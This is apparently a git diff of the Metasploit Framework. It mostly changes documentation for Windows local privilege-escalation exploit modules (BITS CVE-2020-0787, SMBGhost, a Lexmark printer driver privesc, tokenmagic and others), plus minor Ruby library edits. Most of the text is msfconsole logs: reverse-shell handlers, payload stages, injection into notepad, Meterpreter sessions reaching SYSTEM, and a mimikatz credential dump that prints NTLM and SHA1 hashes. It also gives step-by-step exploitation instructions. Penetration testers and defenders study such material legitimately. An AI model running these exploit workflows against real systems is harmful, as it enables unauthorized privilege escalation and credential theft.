[*] Payload DLL is 5120 bytes long
@@ -207,12 +207,7 @@ For more help on this error:
[*] Closing symlink handle 688: The operation completed successfully.
[*] Removing Mountpoint
[*] Removing directories
[*] Trying to start notepad
[*] Launching notepad to host the exploit...
[+] Process 7416 launched.
[*] Reflectively injecting the trigger DLL into 7416...
[*] Trigger injected.
[*] Trigger injected. Starting thread...
[*] Triggering the Reflective DLL injection and running the LPE DLL...
[+] Exploit finished, wait for (hopefully privileged) payload execution to complete.
[!] Manual cleanup after reboot required for C:\Windows\system32\WindowsCoreDeviceInfo.dll and C:\Users\msfuser\AppData\Local\Temp\jeYpOx
[*] Exploit complete. It may take up to 10 minutes to get a session
@@ -1,20 +1,20 @@
## Vulnerable Application
The Windows Background Intelligent Transfer Service (BITS), prior to the March 2020 update, did not apply impersonation
when an undocumented COM method, QueryNewJobInterface(), was called. This meant that the BITS temporary file that is
created when a job is created and added to the BITS job queue would be copied as the SYSTEM user. By abusing symbolic
created when a job is created and added to the BITS job queue would be copied as the SYSTEM user. By abusing symbolic
links, an attacker can take advantage of this vulnerability to write arbitrary files to arbitrary locations as the SYSTEM
user.
This vulnerability affects all Windows versions from Windows 7 onwards, up to but not including Windows 10 v2004. Note
that exploiting the vulnerability on its own does not allow an attacker to gain privileges; rather an attacker must find
a DLL hijacking vulnerability or similar in a SYSTEM level service that they can exploit using the arbitrary file move
a DLL hijacking vulnerability or similar in a SYSTEM level service that they can exploit using the arbitrary file move
provided by CVE-2020-0787 in order to gain privileges.
Presently the module solves this issue by taking advantage of a DLL hijacking vulnerability within the Update Session
Orchestrator, a service that was introduced starting with Windows 10. By creating a file at
C:\Windows\System32\WindowsCoreDeviceInfo.dll, an attacker can ensure that when a Update Session is created
Presently the module solves this issue by taking advantage of a DLL hijacking vulnerability within the Update Session
Orchestrator, a service that was introduced starting with Windows 10. By creating a file at
C:\Windows\System32\WindowsCoreDeviceInfo.dll, an attacker can ensure that when a Update Session is created
via the Update Session Orchestrator service, their malicious payload, located at C:\Windows\System32\WindowsCoreDeviceInfo.dll,
will be executed with SYSTEM permissions. Support for other LPE methods that affect other versions
will be executed with SYSTEM permissions. Support for other LPE methods that affect other versions
of Windows may be added in the future.
### Installation And Setup
@@ -40,7 +40,7 @@ vulnerability.
WindowsCoreDeviceInfo.dll is not present by default, but if it is
present, it is likely loaded, so even with this set to true, the
overwrite (and exploit) will likely end up failing.
**JOB_WAIT_TIME**
Amount of time, in seconds, to wait for CVE-2020-0787.x64.dll or CVE-2020-0787.x86.dll
to finish running before attempting to load uso_trigger.x86.dll or uso_trigger.x64.dll
@@ -175,10 +175,6 @@ msf5 exploit(windows/local/cve_2020_0787_bits_arbitrary_file_move) > exploit
[*] Step #2: Generating the malicious DLL...
[*] Payload DLL is 94208 bytes long
[*] Step #3: Loading the exploit DLL to run the main exploit...
[*] Launching notepad to host the exploit...
[+] Process 7344 launched.
[*] Injecting DLL into 7344...
[*] DLL injected. Executing injected DLL...
[*] Sleeping for 40 seconds to allow the exploit to run...
[*] Started bind TCP handler against 172.26.22.128:9988
[*] Sending stage (201283 bytes) to 172.26.22.128
@@ -315,10 +311,6 @@ msf5 exploit(windows/local/cve_2020_0787_bits_arbitrary_file_move) > exploit
[*] Step #2: Generating the malicious DLL...
[*] Payload DLL is 78336 bytes long
[*] Step #3: Loading the exploit DLL to run the main exploit...
[*] Launching notepad to host the exploit...
[+] Process 10136 launched.
[*] Injecting DLL into 10136...
[*] DLL injected. Executing injected DLL...
[*] Sleeping for 30 seconds to allow the exploit to run...
[*] Started bind TCP handler against 172.26.17.231:8822
[*] Sending stage (176195 bytes) to 172.26.17.231
@@ -47,14 +47,14 @@ System Language : en_US
Domain : WORKGROUP
Logged On Users : 5
Meterpreter : x64/windows
meterpreter > getsystem
meterpreter > getsystem
[-] priv_elevate_getsystem: Operation failed: The environment is incorrect. The following was attempted:
[-] Named Pipe Impersonation (In Memory/Admin)
[-] Named Pipe Impersonation (Dropper/Admin)
[-] Token Duplication (In Memory/Admin)
meterpreter > background
meterpreter > background
[*] Backgrounding session 1...
msf5 exploit(windows/local/cve_2020_0796_smbghost) > show options
msf5 exploit(windows/local/cve_2020_0796_smbghost) > show options
Module options (exploit/windows/local/cve_2020_0796_smbghost):
@@ -81,22 +81,17 @@ Exploit target:
msf5 exploit(windows/local/cve_2020_0796_smbghost) > exploit
[*] Started reverse TCP handler on 192.168.159.128:4444
[*] Started reverse TCP handler on 192.168.159.128:4444
[*] Executing automatic check (disable AutoCheck to override)
[*] Windows Build Number = 18363
[+] The target appears to be vulnerable.
[*] Launching notepad to host the exploit...
[+] Process 4508 launched.
[*] Reflectively injecting the exploit DLL into 4508...
[*] Injecting exploit into 4508...
[*] Exploit injected. Injecting payload into 4508...
[*] Payload injected. Executing exploit...
[*] Reflectively injecting the exploit DLL and executing it...
[*] Sending stage (206403 bytes) to 192.168.159.153
[+] Exploit finished, wait for (hopefully privileged) payload execution to complete.
meterpreter > getuid
Server username: NT AUTHORITY\SYSTEM
meterpreter >
meterpreter >
```
[1]: https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/adv200005
@@ -51,16 +51,12 @@ msf6 exploit(windows/local/cve_2020_1054_drawiconex_lpe) > run
[*] Started reverse TCP handler on 192.168.13.37:5555
[*] Executing automatic check (disable AutoCheck to override)
[+] The target appears to be vulnerable.
[*] Launching notepad.exe to host the exploit...
[+] Process 1028 launched.
[*] Injecting exploit into 1028 ...
[*] Exploit injected. Injecting payload into 1028...
[*] Payload injected. Executing exploit...
[*] Executing exploit...
[*] Exploit finished, wait for (hopefully privileged) payload execution to complete.
[*] Sending stage (200262 bytes) to 192.168.13.106
[*] Meterpreter session 2 opened (192.168.13.37:5555 -> 192.168.13.106:49217) at 2020-11-26 13:57:08 +0000
meterpreter > getuid
Server username: NT AUTHORITY\SYSTEM
```
@@ -0,0 +1,297 @@
## Vulnerable Application
Various Lexmark Universal Printer drivers as listed at [advisory TE953](http://support.lexmark.com/index?page=content&id=TE953)
allow low-privileged authenicated users to elevate their privileges to `SYSTEM` on affected Windows systems by modifying
the XML file at `C:\\ProgramData\\<driver name>\\Universal Color Laser.gdl` to replace the DLL path
to `unires.dll` with a malicious DLL path.
When `C:\\Windows\\System32\\Printing_Admin_Scripts\\en-US\\prnmngr.vbs` is then used to add the printer
to the affected system, `PrintIsolationHost.exe`, a Windows process running as `NT AUTHORITY\SYSTEM`,
will inspect the `C:\\ProgramData\\<driver name>\\Universal Color Laser.gdl` file and will load the
malicious DLL from the path specified in the file, which will result in the malicious DLL executing as `NT AUTHORITY\SYSTEM`.
Once this module is finished, it will use the `prnmngr.vbs` script to remove the printer it added.
## Driver Installation Steps
1. Download the vulnerable driver from https://github.com/rapid7/metasploit-framework/files/6941669/LMUD1o40.zip
1. Extract the `LMUD1o40.cab` file from the zip.
1. Use 7Zip to extract the contents of the `LMUD1o40.cab` file to a new directory. Do not use Window's default extraction tool, as it will not extract the files correctly.
1. Browse inside that directory and find the `LMUD1o40.inf` file, right click it, and click `Install`.
1. Accept the UAC prompt, then after a few seconds you should get a message stating the driver installed successfully.
## Verification Steps
1. Install a vulnerable Lexmark driver using the instructions at `Driver Installation Steps`.
2. Start `msfconsole`
3. Get a session with basic privileges
4. Do: `use exploit/windows/local/lexmark_driver_privesc`
5. Do: `set SESSION <sess_no>`
6. Do: `run`
7. You should get a shell running as `SYSTEM`.
## Options
### DRIVERNAME
Set `DRIVERNAME` to the specific Lexmark driver to attempt to exploit. The module will verify the driver is present. Example:
```
set DRIVERNAME Lexmark Printer Software G2 XL
```
## Scenarios
### Lexmark Printer Software G2 XL v2.2.0.0
```
msf6 > use multi/handler
[*] Using configured payload generic/shell_reverse_tcp
msf6 exploit(multi/handler) > set payload windows/x64/meterpreter/reverse_tcp
payload => windows/x64/meterpreter/reverse_tcp
msf6 exploit(multi/handler) > set lhost 10.0.0.9
lhost => 10.0.0.9
msf6 exploit(multi/handler) > set lport 1270
lport => 1270
msf6 exploit(multi/handler) > run
[*] Started reverse TCP handler on 10.0.0.9:1270
[*] Sending stage (200262 bytes) to 10.0.0.8
[*] Meterpreter session 1 opened (10.0.0.9:1270 -> 10.0.0.8:51814) at 2021-08-10 18:07:31 -0400
meterpreter > getuid
Server username: MOURNLAND\lowlevel
meterpreter > sysinfo
Computer : MOURNLAND
OS : Windows 10 (10.0 Build 17134).
Architecture : x64
System Language : en_US
Domain : WORKGROUP
Logged On Users : 3
Meterpreter : x64/windows
meterpreter > background
[*] Backgrounding session 1...
msf6 exploit(multi/handler) > use exploit/windows/local/lexmark_driver_privesc
[*] No payload configured, defaulting to windows/meterpreter/reverse_tcp
msf6 exploit(windows/local/lexmark_driver_privesc) > set session 1
session => 1
msf6 exploit(windows/local/lexmark_driver_privesc) > set payload windows/x64/meterpreter/reverse_tcp
payload => windows/x64/meterpreter/reverse_tcp
msf6 exploit(windows/local/lexmark_driver_privesc) > set lhost 10.0.0.9
lhost => 10.0.0.9
msf6 exploit(windows/local/lexmark_driver_privesc) > set lport 1271
lport => 1271
msf6 exploit(windows/local/lexmark_driver_privesc) > check
[*] Lexmark driver published at oem3.inf
[*] Lexmark driver published at oem12.inf
[*] Found 2 possible options:
[*] Lexmark Printer Software G2
[*] Lexmark Printer Software G2 XL
[*] No user provided DRIVERNAME. Defaulting to "Lexmark Printer Software G2"
[*] The service is running, but could not be validated. A potentially vulnerable Lexmark print driver is available.
msf6 exploit(windows/local/lexmark_driver_privesc) > set DRIVERNAME Lexmark Printer Software G2 XL
DRIVERNAME => Lexmark Printer Software G2 XL
msf6 exploit(windows/local/lexmark_driver_privesc) > run
[*] Started reverse TCP handler on 10.0.0.9:1271
[*] Running automatic check ("set AutoCheck false" to disable)
[*] Lexmark driver published at oem3.inf
[*] Lexmark driver published at oem12.inf
[*] Found 2 possible options:
[*] Lexmark Printer Software G2
[*] Lexmark Printer Software G2 XL
[*] The user selected driver was in the driver store
[!] The service is running, but could not be validated. A potentially vulnerable Lexmark print driver is available.
[*] Adding printer dgvUKSrm...
[*] Sending stage (200262 bytes) to 10.0.0.8
[*] Sending stage (200262 bytes) to 10.0.0.8
[*] Meterpreter session 2 opened (10.0.0.9:1271 -> 10.0.0.8:51830) at 2021-08-10 18:09:29 -0400
[*] Deleting printer dgvUKSrm
[*] Meterpreter session 3 opened (10.0.0.9:1271 -> 10.0.0.8:51831) at 2021-08-10 18:09:31 -0400
meterpreter > getuid
Server username: NT AUTHORITY\SYSTEM
meterpreter >
```
## Lexmark Universal Printer v2 - version 2.10.0.5 On Windows 10 v1903
```
msf6 exploit(multi/handler) > exploit
[*] Started bind TCP handler against 192.168.224.194:4444
[*] Sending stage (200262 bytes) to 192.168.224.194
[*] Meterpreter session 1 opened (0.0.0.0:0 -> 192.168.224.194:4444) at 2021-08-11 14:09:19 -0500
meterpreter > getuid
Server username: DESKTOP-O7MJD36\test
meterpreter > getprivs
Enabled Process Privileges
==========================
Name
----
SeChangeNotifyPrivilege
SeIncreaseWorkingSetPrivilege
SeShutdownPrivilege
SeTimeZonePrivilege
SeUndockPrivilege
meterpreter > getsystem
[-] priv_elevate_getsystem: Operation failed: Access is denied. The following was attempted:
[-] Named Pipe Impersonation (In Memory/Admin)
[-] Named Pipe Impersonation (Dropper/Admin)
[-] Token Duplication (In Memory/Admin)
[-] Named Pipe Impersonation (RPCSS variant)
meterpreter > background
[*] Backgrounding session 1...
msf6 exploit(multi/handler) > use exploit/windows/local/lexmark_driver_privesc
[*] No payload configured, defaulting to windows/meterpreter/reverse_tcp
msf6 exploit(windows/local/lexmark_driver_privesc) > show options
Module options (exploit/windows/local/lexmark_driver_privesc):
Name Current Setting Required Description
---- --------------- -------- -----------
DRIVERNAME no The name of the Lexmark driver to exploit
SESSION yes The session to run this module on.
Payload options (windows/meterpreter/reverse_tcp):
Name Current Setting Required Description
---- --------------- -------- -----------
EXITFUNC process yes Exit technique (Accepted: '', seh, thread, process, none)
LHOST 192.168.224.128 yes The listen address (an interface may be specified)
LPORT 4444 yes The listen port
Exploit target:
Id Name
-- ----
0 Windows
msf6 exploit(windows/local/lexmark_driver_privesc) > set SESSION 1
SESSION => 1
msf6 exploit(windows/local/lexmark_driver_privesc) > set LPORT 8877
LPORT => 8877
msf6 exploit(windows/local/lexmark_driver_privesc) > check
[*] Lexmark driver published at oem9.inf
[*] Found 1 possible options:
[*] Lexmark Universal v2
[*] No user provided DRIVERNAME. Defaulting to "Lexmark Universal v2"
[*] The service is running, but could not be validated. A potentially vulnerable Lexmark print driver is available.
msf6 exploit(windows/local/lexmark_driver_privesc) > set PAYLOAD windows/x64/meterpreter/reverse_tcp
PAYLOAD => windows/x64/meterpreter/reverse_tcp
msf6 exploit(windows/local/lexmark_driver_privesc) > show options
Module options (exploit/windows/local/lexmark_driver_privesc):
Name Current Setting Required Description
---- --------------- -------- -----------
DRIVERNAME no The name of the Lexmark driver to exploit
SESSION 1 yes The session to run this module on.
Payload options (windows/x64/meterpreter/reverse_tcp):
Name Current Setting Required Description
---- --------------- -------- -----------
EXITFUNC process yes Exit technique (Accepted: '', seh, thread, process, none)
LHOST 192.168.224.128 yes The listen address (an interface may be specified)
LPORT 8877 yes The listen port
Exploit target:
Id Name
-- ----
0 Windows
msf6 exploit(windows/local/lexmark_driver_privesc) > exploit
[*] Started reverse TCP handler on 192.168.224.128:8877
[*] Running automatic check ("set AutoCheck false" to disable)
[*] Lexmark driver published at oem9.inf
[*] Found 1 possible options:
[*] Lexmark Universal v2
[*] No user provided DRIVERNAME. Defaulting to "Lexmark Universal v2"
[!] The service is running, but could not be validated. A potentially vulnerable Lexmark print driver is available.
[*] Adding printer dGJvF...
[*] Deleting printer dGJvF
[*] Adding printer dGJvF...
[*] Sending stage (200262 bytes) to 192.168.224.194
[*] Sending stage (200262 bytes) to 192.168.224.194
[+] Deleted C:\Users\test\AppData\Local\Temp\AqMVx.dll
[*] Meterpreter session 2 opened (192.168.224.128:8877 -> 192.168.224.194:56007) at 2021-08-11 14:10:56 -0500
[*] Meterpreter session 3 opened (192.168.224.128:8877 -> 192.168.224.194:56016) at 2021-08-11 14:10:57 -0500
[*] Deleting printer dGJvF
meterpreter > getuid
Server username: NT AUTHORITY\SYSTEM
meterpreter > getprivs
Enabled Process Privileges
==========================
Name
----
SeAssignPrimaryTokenPrivilege
SeAuditPrivilege
SeChangeNotifyPrivilege
SeImpersonatePrivilege
SeTcbPrivilege
meterpreter > load kiwi
Loading extension kiwi...c
.#####. mimikatz 2.2.0 20191125 (x64/windows)
.## ^ ##. "A La Vie, A L'Amour" - (oe.eo)
## / \ ## /*** Benjamin DELPY `gentilkiwi` ( benjamin@gentilkiwi.com )
## \ / ## > http://blog.gentilkiwi.com/mimikatz
'## v ##' Vincent LE TOUX ( vincent.letoux@gmail.com )
'#####' > http://pingcastle.com / http://mysmartlogon.com ***/
Success.
meterpreter > creds_all
[+] Running as SYSTEM
[*] Retrieving all credentials
msv credentials
===============
Username Domain NTLM SHA1
-------- ------ ---- ----
test DESKTOP-O7MJD36 0cb6948805f797bf2a82807973b89537 87f8ed9157125ffc4da9e06a7b8011ad80a53fe1
wdigest credentials
===================
Username Domain Password
-------- ------ --------
(null) (null) (null)
DESKTOP-O7MJD36$ WORKGROUP (null)
test DESKTOP-O7MJD36 (null)
kerberos credentials
====================
Username Domain Password
-------- ------ --------
(null) (null) (null)
desktop-o7mjd36$ WORKGROUP (null)
test DESKTOP-O7MJD36 (null)
meterpreter > sysinfo
Computer : DESKTOP-O7MJD36
OS : Windows 10 (10.0 Build 18362).
Architecture : x64
System Language : en_US
Domain : WORKGROUP
Logged On Users : 2
Meterpreter : x64/windows
meterpreter >
```
@@ -16,7 +16,7 @@ test it on a real machine if possible.
```
msf5 exploit(multi/handler) > run
[*] Started reverse TCP handler on 192.168.135.111:4567
[*] Started reverse TCP handler on 192.168.135.111:4567
[*] Sending stage (206403 bytes) to 192.168.136.142
meterpreter > getuid
@@ -69,16 +69,11 @@ msf5 exploit(windows/local/mov_ss) > set lport 4567
lport => 4567
msf5 exploit(windows/local/mov_ss) > run
[*] Started reverse TCP handler on 192.168.135.111:4567
[*] Started reverse TCP handler on 192.168.135.111:4567
[*] Attempting to PrivEsc on DESKTOP-QGIC71I via session ID: 1
[*] Checking target...
[*] Attempting to PrivEsc on DESKTOP-QGIC71I via session ID: 1
[*] Target Looks Good... trying to start notepad
[*] Launching notepad to host the exploit...
[+] Process 4964 launched.
[*] Reflectively injecting the exploit DLL into 4964...
[*] Exploit injected. Injecting payload into 4964...
[*] Payload injected. Executing exploit...
[*] Target looks good... reflectively injecting exploit DLL and triggering exploit!
[+] Exploit finished, wait for (hopefully privileged) payload execution to complete.
[*] Sending stage (206403 bytes) to 192.168.136.142
@@ -92,13 +87,13 @@ msf5 exploit(windows/local/mov_ss) > set USE_INJECTION false
USE_INJECTION => false
msf5 exploit(windows/local/mov_ss) > run
[*] Started reverse TCP handler on 192.168.135.111:4567
[*] Started reverse TCP handler on 192.168.135.111:4567
[*] Attempting to PrivEsc on DESKTOP-QGIC71I via session ID: 1
[*] Exploit uploaded on DESKTOP-QGIC71I to C:\Users\msfuser\AppData\Local\Temp\ACLgNJAJ.exe
[*] Payload (7168 bytes) uploaded on DESKTOP-QGIC71I to C:\Users\msfuser\AppData\Local\Temp\kWDncKCjHtb.exe
[*] Running exploit C:\Users\msfuser\AppData\Local\Temp\ACLgNJAJ.exe with payload C:\Users\msfuser\AppData\Local\Temp\kWDncKCjHtb.exe
[*] Sending stage (206403 bytes) to 192.168.136.142
^C[-] Exploit failed: Interrupt
^C[-] Exploit failed: Interrupt
msf5 exploit(windows/local/mov_ss) > sessions -l
Active sessions
@@ -27,13 +27,8 @@ msf exploit(ms16_014_wmi_recv_notif) > set session 0
session => 0
msf exploit(ms16_014_wmi_recv_notif) > exploit
[*] Started reverse TCP handler on 172.16.38.170:4444
[*] Launching notepad to host the exploit...
[+] Process 3948 launched.
[*] Reflectively injecting the exploit DLL into 3948...
[*] Injecting exploit into 3948...
[*] Exploit injected. Injecting payload into 3948...
[*] Payload injected. Executing exploit...
[*] Started reverse TCP handler on 172.16.38.170:4444
[*] Reflectively injecting the exploit DLL and running it...
[+] Exploit finished, wait for (hopefully privileged) payload execution to complete.
[*] Command shell session 2 opened (172.16.38.170:4444 -> 172.16.38.129:49695) at 2018-03-07 08:27:57 -0800
@@ -24,12 +24,9 @@ lhost => 192.168.1.203
msf exploit(ms16_016_webdav) > run
[*] Started reverse TCP handler on 192.168.1.203:4567
[*] Launching notepad to host the exploit...
[+] Process 3204 launched.
[*] Reflectively injecting the exploit DLL into 3204...
[*] Exploit injected ... injecting payload into 3204...
[*] Launching a process to host the payload DLL, then reflectively injecting the DLL and running it...
[*] Exploit finished, wait for (hopefully privileged) payload execution to complete.
[*] Sending stage (957999 bytes) to 192.168.1.221
[*] Done. Verify privileges manually or use 'getuid' if using meterpreter to verify exploitation.
[*] Meterpreter session 12 opened (192.168.1.203:4567 -> 192.168.1.221:49266) at 2016-07-05 22:07:34 -0500
meterpreter > getuid
@@ -36,34 +36,30 @@ run properly.
```
Name Current Setting Required Description
---- --------------- -------- -----------
SESSION 48 yes The session to run this module on. Payload options
SESSION 48 yes The session to run this module on. Payload options
(windows/x64/meterpreter/reverse_tcp):
Name Current Setting Required Description
---- --------------- -------- -----------
EXITFUNC thread yes Exit technique (Accepted: '', seh, thread,
EXITFUNC thread yes Exit technique (Accepted: '', seh, thread,
process, none)
LHOST ens3 yes The listen address (an interface may be specified)
LPORT 3312 yes The listen port Exploit target:
Id Name
-- ----
1 Windows x64 msf exploit(windows/local/ms16_075_reflection) > run
1 Windows x64 msf exploit(windows/local/ms16_075_reflection) > run
[*] Started reverse TCP handler on -snip-:3312
[*] Launching notepad to host the exploit... [+] Process 3564 launched.
[*] Reflectively injecting the exploit DLL into 3564...
[*] Injecting exploit into 3564...
[*] Exploit injected. Injecting payload into 3564...
[*] Payload injected. Executing exploit..
[+] Reflectively injecting the exploit DLL and triggering the exploit...
[+] Exploit finished, wait for (hopefully privileged) payload execution to complete.
[*] Sending stage (206403 bytes) to -snip-
[*] Meterpreter session 49 opened (-snip-:3312 -> -snip-:55306) at 2018-08-03 01:54:18 -0400
meterpreter > load incognito
meterpreter > load incognito
Loading extension incognito...Success.
meterpreter > impersonate_token
meterpreter > impersonate_token
'NT AUTHORITY\SYSTEM'
[-] Warning: Not currently running as SYSTEM, not all tokens will be available
Call rev2self if primary process token is SYSTEM
[-] No delegation token available
[+] Successfully impersonated user NT AUTHORITY\SYSTEM
meterpreter > getsystem -t 1 ...got system via technique 1 (Named Pipe Impersonation (In Memory/Admin)).
meterpreter >
meterpreter >
```
@@ -1,16 +1,16 @@
## Vulnerable Application
This module exploits a NULL pointer dereference vulnerability in
MNGetpItemFromIndex(), which is reachable via a NtUserMNDragOver() system
This module exploits a NULL pointer dereference vulnerability in
MNGetpItemFromIndex(), which is reachable via a NtUserMNDragOver() system
call.
The NULL pointer dereference occurs because the xxxMNFindWindowFromPoint()
function does not effectively check the validity of the tagPOPUPMENU
objects it processes before passing them on to MNGetpItemFromIndex(),
function does not effectively check the validity of the tagPOPUPMENU
objects it processes before passing them on to MNGetpItemFromIndex(),
where the NULL pointer dereference will occur.
This module has been tested against Windows 7 x86 SP0 and SP1.
Offsets within the solution may need to be adjusted to work with
This module has been tested against Windows 7 x86 SP0 and SP1.
Offsets within the solution may need to be adjusted to work with
other versions of Windows, such as Windows Server 2008.
## Verification Steps
@@ -52,11 +52,8 @@ msf5 exploit(windows/local/ntusermndragover) > run
[*] Started reverse TCP handler on 192.168.56.1:5555
[*] Executing automatic check (disable AutoCheck to override)
[+] The target appears to be vulnerable.
[*] Launching notepad.exe to host the exploit...
[+] Process 3464 launched.
[*] Injecting exploit into 3464 ...
[*] Exploit injected. Injecting payload into 3464...
[*] Payload injected. Executing exploit...
[+] Reflectively injecting the exploit DLL and running the exploit...
[+] Exploit finished, wait for (hopefully privileged) payload execution to complete.
[*] Sending stage (176195 bytes) to 192.168.56.15
[*] Meterpreter session 2 opened (192.168.56.1:5555 -> 192.168.56.15:49159) at 2020-04-29 17:14:46 +0800
@@ -44,7 +44,7 @@ Make sure that the `SESSION` value is set to the existing session identifier.
```
msf5 exploit(multi/handler) > run
[*] Started reverse TCP handler on 192.168.135.168:5555
[*] Started reverse TCP handler on 192.168.135.168:5555
WARNING: Local file /home/tmoose/rapid7/metasploit-framework/data/meterpreter/metsrv.x64.dll is being used
WARNING: Local files may be incompatible with the Metasploit Framework
[*] Sending stage (206403 bytes) to 192.168.132.125
@@ -62,7 +62,7 @@ Logged On Users : 2
Meterpreter : x64/windows
meterpreter > background
[*] Backgrounding session 1...
msf5 exploit(multi/handler) > use exploit/windows/local/payload_inject
msf5 exploit(multi/handler) > use exploit/windows/local/payload_inject
msf5 exploit(windows/local/payload_inject) > show options
Module options (exploit/windows/local/payload_inject):
@@ -120,7 +120,7 @@ Exploit target:
msf5 exploit(windows/local/payload_inject) > run
[*] Started reverse TCP handler on 192.168.135.168:4444
[*] Started reverse TCP handler on 192.168.135.168:4444
[*] Running module against DESKTOP-D1E425Q
[*] Spawned Notepad process 684
[*] Injecting payload into 684
@@ -135,9 +135,9 @@ Process List
PID PPID Name Arch Session User Path
--- ---- ---- ---- ------- ---- ----
0 0 [System Process]
4 0 System
88 4 Registry
0 0 [System Process]
4 0 System
88 4 Registry
.
.
.
@@ -147,14 +147,14 @@ Process List
.
7524 3632 revtcpx64.exe x64 1 DESKTOP-D1E425Q\msfuser C:\Users\msfuser\Desktop\revtcpx64.exe
7532 4772 chrome.exe x64 1 DESKTOP-D1E425Q\msfuser C:\Program Files (x86)\Google\Chrome\Application\chrome.exe
7876 780 WmiPrvSE.exe
7904 780 WmiPrvSE.exe
8000 584 svchost.exe
8036 584 svchost.exe
7876 780 WmiPrvSE.exe
7904 780 WmiPrvSE.exe
8000 584 svchost.exe
8036 584 svchost.exe
meterpreter > getpid
Current pid: 684
meterpreter >
meterpreter >
```
@@ -193,7 +193,7 @@ Exploit target:
msf5 exploit(windows/local/payload_inject) > run
[*] Started reverse TCP handler on 192.168.135.168:4444
[*] Started reverse TCP handler on 192.168.135.168:4444
[*] Running module against DESKTOP-D1E425Q
[*] Spawned Notepad process 1528
[*] Spoofing PPID 3632
@@ -211,9 +211,9 @@ Process List
PID PPID Name Arch Session User Path
--- ---- ---- ---- ------- ---- ----
0 0 [System Process]
4 0 System
88 4 Registry
0 0 [System Process]
4 0 System
88 4 Registry
.
.
.
@@ -227,12 +227,12 @@ Process List
.
7524 3632 revtcpx64.exe x64 1 DESKTOP-D1E425Q\msfuser C:\Users\msfuser\Desktop\revtcpx64.exe
7532 4772 chrome.exe x64 1 DESKTOP-D1E425Q\msfuser C:\Program Files (x86)\Google\Chrome\Application\chrome.exe
7904 780 WmiPrvSE.exe
7904 780 WmiPrvSE.exe
7996 780 RuntimeBroker.exe x64 1 DESKTOP-D1E425Q\msfuser C:\Windows\System32\RuntimeBroker.exe
8000 584 svchost.exe
8036 584 svchost.exe
8000 584 svchost.exe
8036 584 svchost.exe
meterpreter >
meterpreter >
```
@@ -29,7 +29,7 @@ the powershell script manually after some edits to accomplish access to a Window
## Options
**METHOD**
Select between DLL hijacking and service exploitation
* DLL mode: Using the elevated privileges from token magic the module will write a malicious file to `c:\windows\system32\windowscoredeviceinfo.dll`, a `notepad.exe` process is spawned and a DLL trigger is injected into the process to call the `usoclient`. When the `usoclient` EXE runs it loads the the malicious DLL `windowscoredeviceinfo.dll` with `SYSTEM` level privileges.
* DLL mode: Using the elevated privileges from token magic the module will write a malicious file to `c:\windows\system32\windowscoredeviceinfo.dll`, a temporary host process is spawned and a DLL trigger is injected into the process to call the `usoclient`. When the `usoclient` EXE runs it loads the the malicious DLL `windowscoredeviceinfo.dll` with `SYSTEM` level privileges.
* SERVICE mode: Using the elevated privileges from token magic the module, create a malicious service, and then start it with `SYSTEM` level privileges
**SERVICE_FILENAME**
@@ -135,12 +135,7 @@ msf6 exploit(windows/local/tokenmagic) > run
[*] Uploading payload to C:\Users\msfuser\AppData\Local\Temp\WindowsCoreDeviceInfo.dll
[*] Running Exploit on DESKTOP-O5RD7G3
[*] Executing TokenMagic PowerShell script
[*] Trying to start notepad
[*] Launching notepad to host the exploit...
[+] Process 7728 launched.
[*] Reflectively injecting the trigger DLL into 7728...
[+] Trigger injected.
[+] Payload injected. Starting thread...
[*] Reflectively injecting exploit DLL into a spare process and triggering the LPE...
[+] Exploit finished, wait for (hopefully privileged) payload execution to complete.
[+] Enjoy the shell!
[*] Sending stage (200262 bytes) to 172.16.199.135
@@ -117,7 +117,7 @@ Powershell before it tries it; the manually set Powershell target won't do that.
**Native Upload Target**
The Native target will attempt to upload the payload (executable) to SYSTEM32 (which can be modified with the
SHARE datastore option), and then execute it with psexec.
SMBSHARE datastore option), and then execute it with psexec.
This approach is generally reliable, but has a high chance of getting caught by antivirus on the target. To counter this, you can try to
use a template by setting the EXE::Path and EXE::Template datastore options. Or, you can supply your own custom EXE by setting the
+1 -1
View File
@@ -74,7 +74,7 @@ class Metasploit::Framework::Command::Base
end
def self.parsed_options_class_name
@parsed_options_class_name ||= "#{parent.parent}::ParsedOptions::#{name.demodulize}"
@parsed_options_class_name ||= "#{module_parent.module_parent}::ParsedOptions::#{name.demodulize}"
end
def self.start
@@ -3,7 +3,7 @@
module Metasploit
module Framework
module RailsVersionConstraint
RAILS_VERSION = '~> 5.2.2'
RAILS_VERSION = '~> 6.0'
end
end
end
+1 -1
View File
@@ -30,7 +30,7 @@ module Metasploit
end
end
VERSION = "6.0.56"
VERSION = "6.1.2"
MAJOR, MINOR, PATCH = VERSION.split('.').map { |x| x.to_i }
PRERELEASE = 'dev'
HASH = get_hash
@@ -1,75 +0,0 @@
# -*- coding: binary -*-
module Msf::Sessions
###
#
# This class provides basic interaction with a ChannelFD
# abstraction provided by the Rex::Proto::Ssh wrapper
# around HrrRbSsh.
#
# Date: June 22, 2019
# Author: RageLtMan
#
###
class SshCommandShell < Msf::Sessions::CommandShell
#
# This interface supports basic interaction.
#
include Msf::Session::Basic
#
# This interface supports interacting with a single command shell.
#
include Msf::Session::Provider::SingleCommandShell
##
#
# Returns the session description.
#
def desc
"SSH command shell"
end
def shell_command(cmd)
# Send the command to the session's stdin.
shell_write(cmd + "\n")
timeo = 0.5
etime = ::Time.now.to_f + timeo
buff = ""
# Keep reading data until no more data is available or the timeout is
# reached.
while (::Time.now.to_f < etime and ::IO.select([rstream.fd_rd], nil, nil, timeo))
res = shell_read(-1, 0.01)
buff << res if res
timeo = etime - ::Time.now.to_f
end
buff
end
protected
def _interact_stream
fdr = [rstream.fd_rd, user_input.fd]
fdw = [rstream.fd_wr, user_input.fd]
while self.interacting
sd = Rex::ThreadSafe.select(fdr, nil, fdw, 0.5)
next unless sd
if sd[0].include? rstream.fd_rd
user_output.print(shell_read)
end
if sd[0].include? user_input.fd
run_single((user_input.gets || '').chomp("\n"))
end
Thread.pass
end
end
end
end
@@ -0,0 +1,259 @@
# -*- coding: binary -*-
# TODO: refactor this so it's no longer under Meterpreter so it can be used elsewhere
require 'rex/post/channel'
require 'rex/post/meterpreter/channels/socket_abstraction'
module Msf::Sessions
#
# This class provides a session for SSH client connections, where Metasploit
# has authenticated to a remote SSH server. It is compatible with the
# Net::SSH library.
#
class SshCommandShellBind < Msf::Sessions::CommandShell
include Msf::Session::Comm
include Rex::Post::Channel::Container
# see: https://datatracker.ietf.org/doc/html/rfc4254#section-5.1
module ChannelFailureReason
SSH_OPEN_ADMINISTRATIVELY_PROHIBITED = 1
SSH_OPEN_CONNECT_FAILED = 2
